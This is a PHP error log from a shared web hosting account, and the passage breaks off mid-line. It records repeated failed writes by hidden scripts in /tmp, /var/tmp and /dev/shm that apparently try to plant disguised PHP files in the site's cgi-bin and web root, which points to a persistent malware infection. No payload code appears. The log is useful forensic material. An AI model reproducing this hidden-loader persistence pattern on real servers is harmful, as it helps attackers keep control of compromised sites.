[03-Nov-2025 13:28:58 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:58 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:58 UTC] PHP Warning: file_put_contents(/var/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:58 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:29:04 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/lscript.php): Failed to open stream: Disk quota exceeded in /tmp/.rjust on line 1 [05-Nov-2025 15:31:40 UTC] PHP Warning: file_put_contents(/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:31:40 UTC] PHP Warning: file_put_contents(/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:31:40 UTC] PHP Warning: file_put_contents(/var/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:31:40 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:32:17 UTC] PHP Warning: file_put_contents(/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:32:17 UTC] PHP Warning: file_put_contents(/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:32:17 UTC] PHP Warning: file_put_contents(/var/tmp/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:32:17 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.locked): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 15:32:43 UTC] PHP Warning: file_put_contents(cil.php): Failed to open stream: Disk quota exceeded in /tmp/.parle_tokens on line 1 [05-Nov-2025 21:34:51 UTC] PHP Warning: file_put_contents(/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 21:34:51 UTC] PHP Warning: file_put_contents(/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 21:34:51 UTC] PHP Warning: file_put_contents(/var/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [05-Nov-2025 21:34:51 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 02:35:02 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/Result_SemI.php): Failed to open stream: Disk quota exceeded in /tmp/.request on line 1 [07-Nov-2025 02:35:07 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/Result_SemI.php): Failed to open stream: Disk quota exceeded in /tmp/.system on line 1 [07-Nov-2025 20:40:45 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:45 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:45 UTC] PHP Warning: file_put_contents(/var/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:45 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:49 UTC] PHP Warning: file_put_contents(/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:49 UTC] PHP Warning: file_put_contents(/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:49 UTC] PHP Warning: file_put_contents(/var/tmp/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:49 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.requests): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:54 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:54 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:54 UTC] PHP Warning: file_put_contents(/var/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:54 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [07-Nov-2025 20:40:57 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/member.php): Failed to open stream: Disk quota exceeded in /tmp/.dba_insertion on line 1 [07-Nov-2025 20:40:59 UTC] PHP Warning: Undefined array key "aH" in /tmp/.mb_convert on line 1 [07-Nov-2025 20:40:59 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.mb_convert on line 1 [07-Nov-2025 20:41:01 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/member.php): Failed to open stream: Disk quota exceeded in /tmp/.system on line 1 [08-Nov-2025 09:23:23 UTC] PHP Warning: file_put_contents(/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 09:23:23 UTC] PHP Warning: file_put_contents(/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 09:23:23 UTC] PHP Warning: file_put_contents(/var/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 09:23:23 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 09:40:08 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/map.php): Failed to open stream: Disk quota exceeded in /tmp/.oauthexceptions on line 1 [08-Nov-2025 09:40:12 UTC] PHP Warning: Undefined array key "bj" in /tmp/.include on line 1 [08-Nov-2025 09:40:12 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.include on line 1 [08-Nov-2025 09:40:15 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/map.php): Failed to open stream: Disk quota exceeded in /tmp/.include on line 1 [08-Nov-2025 15:37:14 UTC] PHP Warning: file_put_contents(/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:14 UTC] PHP Warning: file_put_contents(/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:14 UTC] PHP Warning: file_put_contents(/var/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:14 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:37 UTC] PHP Warning: file_put_contents(/tmp/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:37 UTC] PHP Warning: file_put_contents(/tmp/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:37 UTC] PHP Warning: file_put_contents(/var/tmp/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:37 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:38 UTC] PHP Warning: file_put_contents(/tmp/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:38 UTC] PHP Warning: file_put_contents(/tmp/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:38 UTC] PHP Warning: file_put_contents(/var/tmp/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.request): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:42 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:42 UTC] PHP Warning: file_put_contents(/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:42 UTC] PHP Warning: file_put_contents(/var/tmp/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:42 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.classes): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:43 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:43 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:43 UTC] PHP Warning: file_put_contents(/var/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:43 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:44 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:44 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:44 UTC] PHP Warning: file_put_contents(/var/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:44 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:45 UTC] PHP Warning: file_put_contents(/tmp/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:45 UTC] PHP Warning: file_put_contents(/tmp/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:45 UTC] PHP Warning: file_put_contents(/var/tmp/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:45 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.system): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 15:37:55 UTC] PHP Warning: Undefined array key "mZ" in /tmp/.rfind on line 1 [08-Nov-2025 15:37:55 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.rfind on line 1 [08-Nov-2025 15:38:01 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/gard.php): Failed to open stream: Disk quota exceeded in /tmp/.locked on line 1 [08-Nov-2025 21:37:38 UTC] PHP Warning: file_put_contents(/tmp/.config): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:37:38 UTC] PHP Warning: file_put_contents(/tmp/.config): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:37:38 UTC] PHP Warning: file_put_contents(/var/tmp/.config): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:37:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.config): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:14 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:14 UTC] PHP Warning: file_put_contents(/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:14 UTC] PHP Warning: file_put_contents(/var/tmp/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:14 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.parle_tokens): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:26 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:26 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:26 UTC] PHP Warning: file_put_contents(/var/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 21:38:26 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 22:26:38 UTC] PHP Warning: file_put_contents(/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 22:26:38 UTC] PHP Warning: file_put_contents(/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 22:26:38 UTC] PHP Warning: file_put_contents(/var/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [08-Nov-2025 22:26:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 14:24:52 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/mod_banners.php): Failed to open stream: Disk quota exceeded in /tmp/.mb_convert on line 1 [24-Nov-2025 14:24:53 UTC] PHP Warning: Undefined array key "Zo" in /tmp/.center on line 1 [24-Nov-2025 14:24:53 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.center on line 1 [24-Nov-2025 14:24:54 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/mod_banners.php): Failed to open stream: Disk quota exceeded in /tmp/.multi on line 1 [24-Nov-2025 20:28:36 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:36 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:36 UTC] PHP Warning: file_put_contents(/var/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:36 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:39 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:39 UTC] PHP Warning: file_put_contents(/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:39 UTC] PHP Warning: file_put_contents(/var/tmp/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:39 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.internal): Failed to open stream: Disk quota exceeded in Command line code on line 1 [24-Nov-2025 20:28:46 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/cust_report04.php): Failed to open stream: Disk quota exceeded in /tmp/.locked on line 1 [24-Nov-2025 20:28:49 UTC] PHP Warning: Undefined array key "rX" in /tmp/.include on line 1 [24-Nov-2025 20:28:49 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.include on line 1 [24-Nov-2025 20:28:52 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/cust_report04.php): Failed to open stream: Disk quota exceeded in /tmp/.system on line 1 [25-Nov-2025 09:11:10 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:11:10 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:11:10 UTC] PHP Warning: file_put_contents(/var/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:11:10 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:12:08 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:12:08 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:12:08 UTC] PHP Warning: file_put_contents(/var/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:12:08 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:26:53 UTC] PHP Warning: file_put_contents(/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:26:53 UTC] PHP Warning: file_put_contents(/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:26:53 UTC] PHP Warning: file_put_contents(/var/tmp/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:26:53 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.mb_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:15 UTC] PHP Warning: file_put_contents(/tmp/.ibase_pconnection): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:15 UTC] PHP Warning: file_put_contents(/tmp/.ibase_pconnection): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:15 UTC] PHP Warning: file_put_contents(/var/tmp/.ibase_pconnection): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:15 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.ibase_pconnection): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:22 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/Memory.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [25-Nov-2025 09:27:37 UTC] PHP Warning: file_put_contents(/tmp/.accept): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:37 UTC] PHP Warning: file_put_contents(/tmp/.accept): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:37 UTC] PHP Warning: file_put_contents(/var/tmp/.accept): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:37 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.accept): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:42 UTC] PHP Warning: Undefined array key "Of" in /tmp/.center on line 1 [25-Nov-2025 09:27:42 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.center on line 1 [25-Nov-2025 09:27:46 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/Memory.php): Failed to open stream: Disk quota exceeded in /tmp/.sys on line 1 [25-Nov-2025 09:27:49 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:49 UTC] PHP Warning: file_put_contents(/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:49 UTC] PHP Warning: file_put_contents(/var/tmp/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:49 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.dbx_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 09:27:52 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/Memory.php): Failed to open stream: Disk quota exceeded in /tmp/.res on line 1 [25-Nov-2025 09:27:55 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/Memory.php): Failed to open stream: Disk quota exceeded in /tmp/.res on line 1 [25-Nov-2025 15:28:09 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/category.php): Failed to open stream: Disk quota exceeded in /tmp/.res on line 1 [25-Nov-2025 21:33:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/printer.php): Failed to open stream: Disk quota exceeded in /tmp/.res on line 1 [25-Nov-2025 21:33:46 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/printer.php): Failed to open stream: Disk quota exceeded in /tmp/.res on line 1 [25-Nov-2025 21:44:07 UTC] PHP Warning: file_put_contents(/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 21:44:07 UTC] PHP Warning: file_put_contents(/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 21:44:07 UTC] PHP Warning: file_put_contents(/var/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [25-Nov-2025 21:44:07 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 03:28:49 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/methods.php): Failed to open stream: Disk quota exceeded in /tmp/.created on line 1 [26-Nov-2025 03:29:00 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/methods.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [26-Nov-2025 03:29:03 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/methods.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [26-Nov-2025 15:29:51 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:51 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:51 UTC] PHP Warning: file_put_contents(/var/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:51 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:54 UTC] PHP Warning: file_put_contents(/tmp/.rfind): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:54 UTC] PHP Warning: file_put_contents(/tmp/.rfind): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:54 UTC] PHP Warning: file_put_contents(/var/tmp/.rfind): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:29:54 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.rfind): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 15:30:54 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/index.initial.php): Failed to open stream: Disk quota exceeded in /tmp/.sys on line 1 [26-Nov-2025 15:31:07 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/index.initial.php): Failed to open stream: Disk quota exceeded in /tmp/.created on line 1 [26-Nov-2025 15:31:10 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/index.initial.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [26-Nov-2025 15:31:12 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/index.initial.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [26-Nov-2025 16:48:42 UTC] PHP Warning: file_put_contents(/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 16:48:42 UTC] PHP Warning: file_put_contents(/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 16:48:42 UTC] PHP Warning: file_put_contents(/var/tmp/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 16:48:42 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.ob_iconv_handle): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 21:43:20 UTC] PHP Warning: file_put_contents(servers.inc.php): Failed to open stream: Disk quota exceeded in /tmp/.binding on line 1 [26-Nov-2025 21:43:26 UTC] PHP Warning: file_put_contents(bulgarian.php): Failed to open stream: Disk quota exceeded in /tmp/.res on line 1 [26-Nov-2025 21:43:42 UTC] PHP Warning: file_put_contents(newUser.php): Failed to open stream: Disk quota exceeded in /tmp/.rindex on line 1 [26-Nov-2025 22:50:42 UTC] PHP Warning: file_put_contents(/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 22:50:42 UTC] PHP Warning: file_put_contents(/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 22:50:42 UTC] PHP Warning: file_put_contents(/var/tmp/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [26-Nov-2025 22:50:42 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.content): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Nov-2025 03:44:02 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [27-Nov-2025 03:44:10 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [27-Nov-2025 03:44:11 UTC] PHP Warning: file_put_contents(dutiesEN.php): Failed to open stream: Disk quota exceeded in /dev/shm/.binding on line 1 [27-Nov-2025 03:44:17 UTC] PHP Warning: file_put_contents(static_page_top.php): Failed to open stream: Disk quota exceeded in /tmp/.classes on line 1 [27-Nov-2025 09:44:37 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/view.pdf.php): Failed to open stream: Disk quota exceeded in /tmp/.lock on line 1 [27-Nov-2025 09:44:41 UTC] PHP Warning: Undefined array key "Lt" in /tmp/.uconvert on line 1 [27-Nov-2025 09:44:41 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.uconvert on line 1 [27-Nov-2025 09:44:44 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/view.pdf.php): Failed to open stream: Disk quota exceeded in /tmp/.oauthexceptions on line 1 [27-Nov-2025 10:55:53 UTC] PHP Warning: file_put_contents(/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Nov-2025 10:55:53 UTC] PHP Warning: file_put_contents(/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Nov-2025 10:55:53 UTC] PHP Warning: file_put_contents(/var/tmp/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Nov-2025 10:55:53 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.created): Failed to open stream: Disk quota exceeded in Command line code on line 1 [27-Nov-2025 15:46:11 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [27-Nov-2025 15:46:13 UTC] PHP Warning: file_put_contents(/var/tmp/.binding): Failed to open stream: Disk quota exceeded in /home/tokomrjk/jogja2.jbchampions.com/Context.php on line 20 [27-Nov-2025 15:46:13 UTC] PHP Warning: file_put_contents(tuto2.php): Failed to open stream: Disk quota exceeded in /dev/shm/.binding on line 1 [27-Nov-2025 15:46:25 UTC] PHP Warning: file_put_contents(m68k.php): Failed to open stream: Disk quota exceeded in /tmp/.db2_convert on line 1 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 UTC] PHP Warning: Trying to access array offset on value of type int in /home/tokomrjk/jogja2.jbchampions.com/ModCatTree.php on line 12 [27-Nov-2025 15:48:10 